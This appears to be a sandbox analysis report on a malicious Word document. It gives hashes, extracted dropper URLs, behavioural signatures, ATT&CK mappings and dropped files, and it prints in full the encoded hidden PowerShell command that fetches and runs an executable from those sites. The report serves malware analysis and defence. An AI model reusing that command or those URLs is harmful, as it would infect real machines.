74ffc7a97a4840221c7e8c3892ff054a087db1bd136beffa5848846a3caa3fcc

General

Target

74ffc7a97a4840221c7e8c3892ff054a087db1bd136beffa5848846a3caa3fcc.doc
Size

177KB
MD5

6d801d954271f11111d92b722ecf451d
SHA1

35c3e6ae44e5b268fd5a8aa4f86339b46781261d
SHA256

74ffc7a97a4840221c7e8c3892ff054a087db1bd136beffa5848846a3caa3fcc
SHA512

85dbe6b556052333c94446575d6e5108e05bfd32d8750d455973d8336cf518de886661a6e46726cedb7cb22569bf7c25aaa05e095da4027ae302c730d0792663
SSDEEP

3072:y72y/GdynktGDWLS0HZWD5w8K7Nk96D7IBU6ZB0zstySfNllXe:y72k43tGiL3HJk96D7bs0z0rllX

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://www.yadegarebastan.com/wp-content/mhear/

exe.dropper

http://bikerzonebd.com/wp-admin/89gw/

exe.dropper

http://shptoys.com/_old/bvGej/

exe.dropper

http://www.vestalicom.com/facturation/qgm0t/

exe.dropper

http://www.aliounendiaye.com/wp-content/f3hs6j/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1476	1408	Powershell.exe	83

Blocklisted process makes network request 4 IoCs

flow	pid	Process
27	1476	Powershell.exe
41	1476	Powershell.exe
43	1476	Powershell.exe
45	1476	Powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1476	Powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3744	WINWORD.EXE
3744	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1476	Powershell.exe
1476	Powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1476	Powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
3744	WINWORD.EXE
3744	WINWORD.EXE
3744	WINWORD.EXE
3744	WINWORD.EXE
3744	WINWORD.EXE
3744	WINWORD.EXE
3744	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3744 wrote to memory of 3352	3744	WINWORD.EXE	84
PID 3744 wrote to memory of 3352	3744	WINWORD.EXE	84

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\74ffc7a97a4840221c7e8c3892ff054a087db1bd136beffa5848846a3caa3fcc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3744
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:3352

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABVAGwAegBiAHIAegB1AHQAaABjAGQAcQB6AD0AJwBGAGYAcgBlAHAAZwBxAGkAJwA7ACQAUABrAHoAbgBlAGQAdQB0AHIAIAA9ACAAJwAxADcANwAnADsAJABSAHkAdwB6AGMAdABpAGwAZgB6AGoAbgBlAD0AJwBSAGIAZABtAHQAYQBnAGMAeQAnADsAJABQAGgAYQBrAGkAcAB2AHQAYwBrAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABQAGsAegBuAGUAZAB1AHQAcgArACcALgBlAHgAZQAnADsAJABOAHIAcABkAGMAdgBiAHIAPQAnAFcAaAB6AGoAaQBuAGEAYwB2AHMAbgBrAGgAJwA7ACQAUQBxAHAAZwBwAHoAbgB1AGEAdABuAHAAPQAmACgAJwBuAGUAJwArACcAdwAtAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAG4ARQBUAC4AdwBFAEIAQwBMAGkARQBuAHQAOwAkAFMAYwB5AHAAZwBnAGcAbQBuAHYAbQB4AHMAPQAnAGgAdAB0AHAAOgAvAC8AdwB3AHcALgB5AGEAZABlAGcAYQByAGUAYgBhAHMAdABhAG4ALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBtAGgAZQBhAHIALwAqAGgAdAB0AHAAOgAvAC8AYgBpAGsAZQByAHoAbwBuAGUAYgBkAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwA4ADkAZwB3AC8AKgBoAHQAdABwADoALwAvAHMAaABwAHQAbwB5AHMALgBjAG8AbQAvAF8AbwBsAGQALwBiAHYARwBlAGoALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgB2AGUAcwB0AGEAbABpAGMAbwBtAC4AYwBvAG0ALwBmAGEAYwB0AHUAcgBhAHQAaQBvAG4ALwBxAGcAbQAwAHQALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBhAGwAaQBvAHUAbgBlAG4AZABpAGEAeQBlAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AZgAzAGgAcwA2AGoALwAnAC4AIgBTAFAAYABMAEkAVAAiACgAJwAqACcAKQA7ACQARgBzAGgAeQBrAHYAeQBsAGEAZwByAD0AJwBXAG8AbQBtAGwAbAB1AHQAJwA7AGYAbwByAGUAYQBjAGgAKAAkAE8AdABsAHkAZQBjAHoAdQAgAGkAbgAgACQAUwBjAHkAcABnAGcAZwBtAG4AdgBtAHgAcwApAHsAdAByAHkAewAkAFEAcQBwAGcAcAB6AG4AdQBhAHQAbgBwAC4AIgBEAGAATwB3AG4AYABMAGAAbwBBAGQARgBJAEwAZQAiACgAJABPAHQAbAB5AGUAYwB6AHUALAAgACQAUABoAGEAawBpAHAAdgB0AGMAawApADsAJABMAG0AZgBhAGMAdwBvAGQAPQAnAE8AeABjAHQAdAB4AGEAeQB3AHkAZAByAHMAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABQAGgAYQBrAGkAcAB2AHQAYwBrACkALgAiAGwARQBOAGAAZwBUAEgAIgAgAC0AZwBlACAAMwA4ADcAMgA0ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAFMAYABUAGEAcgB0ACIAKAAkAFAAaABhAGsAaQBwAHYAdABjAGsAKQA7ACQARgBhAHkAdgB2AHYAYgBwAHcAPQAnAFYAdgBwAG0AYwBnAHcAbwB6ACcAOwBiAHIAZQBhAGsAOwAkAFMAbwBsAHYAeABlAHoAdAB1AGgAdQB1AD0AJwBGAG8AZQBzAHYAbgB4AGgAcwBlAGQAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQQBrAHYAagBnAHcAbQBoAGoAawA9ACcAVwBwAGMAcgB5AGIAYQB5AHkAeABzAHIAdwAnAA==
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1476

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\B95F51D.wmf

Filesize
444B

MD5
d4aadeb81cd9398d896939b5521d5a14

SHA1
2ed96ea5127dd38f4245580b2c005492ca4dd58d

SHA256
499a6101d327040320a74de3b20ba789e570061bec5ca537020c1835094d2fb4

SHA512
7479a235868f29529aaf3b5a61c18e5abb1101a66135710eff47ab1cd9e2e60f2a791f232ec57ba4f50830b918e5cec39ecdeb5af2bb22095112b7903ad1f781

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCDD343.tmp\gb.xsl

Filesize
262KB

MD5
51d32ee5bc7ab811041f799652d26e04

SHA1
412193006aa3ef19e0a57e16acf86b830993024a

SHA256
6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

SHA512
5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_axffneap.bu4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Filesize
2B

MD5
f3b25701fe362ec84616a93a45ce9998

SHA1
d62636d8caec13f04e28442a0a6fa1afeb024bbb

SHA256
b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

SHA512
98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

Download Submit
memory/1476-42-0x0000022E48810000-0x0000022E48832000-memory.dmp

Filesize
136KB

Download
memory/3744-7-0x00007FFC2DDF0000-0x00007FFC2DE00000-memory.dmp

Filesize
64KB

Download
memory/3744-15-0x00007FFC2BD00000-0x00007FFC2BD10000-memory.dmp

Filesize
64KB

Download
memory/3744-10-0x00007FFC6DD70000-0x00007FFC6DF65000-memory.dmp

Filesize
2.0MB

Download
memory/3744-9-0x00007FFC6DD70000-0x00007FFC6DF65000-memory.dmp

Filesize
2.0MB

Download
memory/3744-11-0x00007FFC6DD70000-0x00007FFC6DF65000-memory.dmp

Filesize
2.0MB

Download
memory/3744-13-0x00007FFC6DD70000-0x00007FFC6DF65000-memory.dmp

Filesize
2.0MB

Download
memory/3744-14-0x00007FFC2BD00000-0x00007FFC2BD10000-memory.dmp

Filesize
64KB

Download
memory/3744-12-0x00007FFC6DD70000-0x00007FFC6DF65000-memory.dmp

Filesize
2.0MB

Download
memory/3744-8-0x00007FFC6DD70000-0x00007FFC6DF65000-memory.dmp

Filesize
2.0MB

Download
memory/3744-1-0x00007FFC6DE0D000-0x00007FFC6DE0E000-memory.dmp

Filesize
4KB

Download
memory/3744-5-0x00007FFC6DD70000-0x00007FFC6DF65000-memory.dmp

Filesize
2.0MB

Download
memory/3744-6-0x00007FFC6DD70000-0x00007FFC6DF65000-memory.dmp

Filesize
2.0MB

Download
memory/3744-4-0x00007FFC2DDF0000-0x00007FFC2DE00000-memory.dmp

Filesize
64KB

Download
memory/3744-2-0x00007FFC2DDF0000-0x00007FFC2DE00000-memory.dmp

Filesize
64KB

Download
memory/3744-3-0x00007FFC2DDF0000-0x00007FFC2DE00000-memory.dmp

Filesize
64KB

Download
memory/3744-68-0x00007FFC6DD70000-0x00007FFC6DF65000-memory.dmp

Filesize
2.0MB

Download
memory/3744-69-0x00007FFC6DE0D000-0x00007FFC6DE0E000-memory.dmp

Filesize
4KB

Download
memory/3744-70-0x00007FFC6DD70000-0x00007FFC6DF65000-memory.dmp

Filesize
2.0MB

Download
memory/3744-0-0x00007FFC2DDF0000-0x00007FFC2DE00000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads